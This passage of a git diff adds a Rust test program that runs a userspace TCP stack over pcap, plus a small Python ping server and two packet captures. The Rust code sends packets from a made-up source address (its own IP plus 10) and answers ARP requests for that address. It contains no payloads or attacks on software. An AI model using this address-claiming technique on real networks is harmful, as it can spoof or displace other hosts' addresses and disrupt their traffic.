.fin(true) + .ack(true) + .window(512) + .acknumber( + socket + .local_rx_last_ack + .context("information from synchronizing missing")?, + ) + .seqnumber(socket.local_seq_no) + .build(peer.local_addr, peer.remote_addr, vec![], None)) +} + +struct TcpSocketHandle { + state_changed: mpsc::Receiver, + send_channel: mpsc::Sender>, + close: mpsc::Sender<()>, + receiver_channel: mpsc::Receiver>, +} + +async fn use_socket(mut socket_handle: TcpSocketHandle) { + loop { + let state = socket_handle.state_changed.recv().await; + match state { + Some(TcpState::Established) => break, + _ => {} + } + } + + log::info!("Connected to server!"); + + log::info!("disconnecting!"); + + /*_ = socket_handle.close.send(()).await; + + loop { + let state = socket_handle.state_changed.recv().await; + match state { + Some(TcpState::Closed) => break, + _ => {} + } + }*/ + + log::info!("disconnected!"); + + match socket_handle.receiver_channel.recv().await { + Some(bytes) => match std::str::from_utf8(&bytes) { + Ok(string) => { + log::info!("received packet: {string}") + } + Err(_) => { + log::info!("received packet: {bytes:?}"); + } + }, + None => { + log::error!("could not get packets from server") + } + } + + /*_ = socket_handle.send_channel.send(b"pong".to_vec()).await; + + log::info!("Sent 'pong'!");*/ +} + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + simple_logger::SimpleLogger::new() + .with_level(log::LevelFilter::Trace) + .with_module_level("tcp_test", log::LevelFilter::Trace) + .init()?; + + let ip = std::env::args() + .skip(1) + .next() + .ok_or(anyhow!("could not get target IP"))? + .parse::()?; + + let (ifname, _, srcip, src_mac, dst_mac, _) = { + let socket = netlink::Socket::new()?; + + let routes = socket.get_routes()?; + let neighs = socket.get_neigh()?; + let links = socket.get_links()?; + let addrs = socket.get_addrs()?; + + route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, ip) + .ok_or(anyhow!("unable to find a route to the IP"))? + }; + + let mut socket = TcpSocket::default(); + let mut interface = pcap_sys::Interface::::new(&ifname)?; + + let srcip: u32 = srcip.into(); + let srcip = srcip + 10; + let srcip: Ipv4Addr = srcip.into(); + dbg!(srcip, src_mac, dst_mac); + + // let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93]; + + interface.set_buffer_size(8192)?; + interface.set_non_blocking(true)?; + interface.set_promisc(false)?; + interface.set_timeout(10)?; + + let interface = interface.activate()?; + + macro_rules! format_packet { + ($tcp_packet:expr) => {{ + let ippkt = IPv4Packet::construct(srcip, ip, &Layer4Packet::TCP($tcp_packet)); + EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ippkt)) + }}; + } + + let (send_state_changed, mut receive_state_changed) = mpsc::channel(64); + let (port, packet) = connect(&mut socket, ip, 54248, srcip, &send_state_changed).await; + _ = receive_state_changed.recv().await; + + interface.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?; + + if interface.datalink() != pcap_sys::consts::DLT_EN10MB { + bail!("interface does not support ethernet"); + } + + let mut packets = interface.stream()?; + + packets.sendpacket(format_packet!(packet).pkt())?; + + let (send_channel, mut send_packet) = mpsc::channel(1024); + let (receive_packet, receiver_channel) = mpsc::channel(1024); + let (send_state_changed, state_changed) = mpsc::channel(1024); + let (close, mut recv_close) = mpsc::channel(16); + + let socket_handle = TcpSocketHandle { + state_changed, + receiver_channel, + send_channel, + close, + }; + + task::spawn(async move { use_socket(socket_handle) }); + + let mut packet_queue = VecDeque::new(); + + loop { + let deadline = Instant::now() + + socket + .retransmit_timeout + .unwrap_or_else(|| Duration::from_millis(10)); + + tokio::select! { + _ = sleep_until(deadline.into()) => { + let Ok(Some((b, d))) = process_timeout(&mut socket) else { continue; }; + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + }, + Some(Ok(bytes)) = packets.next() => { + let pkt = bytes.pkt(); + + match pkt.get_layer3_pkt() { + Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) => { + let Ok(Layer4Pkt::TCP(tcp_pkt)) = ip_pkt.get_layer4_packet() else { continue; }; + + if !socket_accepts_packet(&socket, &ip_pkt, &tcp_pkt) { + continue; + } + + let Ok((to_send, received)) = process_packet(&mut socket, tcp_pkt, &send_state_changed).await else { continue; }; + + if let Some(received) = received { + _ = receive_packet.send(received).await; + } + + for (b, d) in to_send { + log::trace!("adding packet to send: {b:?}"); + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + } + }, + Ok(Layer3Pkt::ARP(arp)) => { + if arp.opcode() != 1 || arp.plen() != 4 || arp.hwlen() != 6 { + continue; + } + + let senderip: [u8; 4] = arp.srcprotoaddr().try_into().unwrap(); + let sendermac: &[u8] = arp.srchwaddr(); + let queryip: [u8; 4] = arp.targetprotoaddr().try_into().unwrap(); + let queryip: Ipv4Addr = queryip.into(); + + if queryip != srcip { + continue; + } + + let response = ARPPacket::construct(ARPMode::Reply, ARPProto::IPv4, &src_mac, &sendermac, &queryip.octets(), &senderip); + let resp2 = EthernetPacket::construct(src_mac, sendermac.try_into().unwrap(), &Layer3Packet::ARP(response)); + log::trace!("adding packet to send: ARP"); + packet_queue.push_back(resp2); + }, + _ => continue + }; + }, + Some(()) = recv_close.recv() => { + log::trace!("adding packet to send: TCP/IP close"); + let Ok(to_send) = close_connection(&mut socket) else { continue; }; + packet_queue.push_back(format_packet!(to_send)); + }, + Some(to_send) = send_packet.recv() => { + log::trace!("adding packet to send: TCP/IP message send"); + match send_data(&mut socket, to_send) { + Ok(pkts) => { + for (b, d) in pkts { + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + } + } + _ => continue + } + }, + else => { continue; } + } + + if let Some(packet) = packet_queue.pop_front() { + log::trace!("sending packet now ({packet:?})"); + _ = packets.sendpacket(packet.pkt()); + } + } +} diff --git a/tcp-test/sample-connection.pcapng b/tcp-test/sample-connection.pcapng new file mode 100644 index 0000000..ba5b485 Binary files /dev/null and b/tcp-test/sample-connection.pcapng differ diff --git a/tcp-test/sample-connection2.pcapng b/tcp-test/sample-connection2.pcapng new file mode 100644 index 0000000..40e3b12 Binary files /dev/null and b/tcp-test/sample-connection2.pcapng differ diff --git a/tcp-test/server.py b/tcp-test/server.py new file mode 100644 index 0000000..7ea5e71 --- /dev/null +++ b/tcp-test/server.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python3 + +import socket +import fcntl +import array +import termios + +server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +server.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1500) +server.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1500) + +server.bind(("0.0.0.0", 54248)) +server.listen(32) + +while True: + client, addr = server.accept() + print("Got connection") + try: + with client: + client.sendall(b"ping") + print("Message sent") + + buf = array.array("h", [0]) + fcntl.ioctl(client.fileno(), termios.TIOCOUTQ, buf) + while buf[0] != 0: + fcntl.ioctl(client.fileno(), termios.TIOCOUTQ, buf) + + print("Received message ack") + + # print(client.recv(24)) + except Exception as e: + client.close() + print(e)